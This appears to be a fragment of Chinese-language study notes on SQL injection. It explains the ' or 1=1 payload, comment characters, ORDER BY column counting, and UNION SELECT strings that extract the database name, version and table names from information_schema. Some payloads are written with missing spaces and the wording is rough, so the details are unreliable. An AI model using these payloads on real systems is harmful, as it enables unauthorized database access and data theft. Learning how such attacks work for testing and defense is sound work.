select xx from xx where id=' 1'or1=1--+(或 #) ' //返回此数据库中全部if中含1的数据 select xx from xx where id=' 1' (and1=) --+(或#) ' //仅返回1条,--+(或 #)是注释的意思。 //如果不注释,页面虽然也会报错,但是仅仅是SQL语句执行错误的报错。而不是发现有SQL注入的错误提示。
主要作用是通过修改此函数中的num,不断进行提交,如果num与此数据库的列数不匹配,则会报错。 如:’ order by 3 #
初始union()函数
SQL语句中的联合查询,在SQL注入中有如下作用:
1 2 3 4 5
1、获取数据库的名字以及版本 ' union select database(),version() # 2、暂时不知道有什么用 'unionselect1,group_concat(table_name) from information_schema.tables # (写全的话是select aa,bb from xx where id=' 'unionselect1,2from xx # ')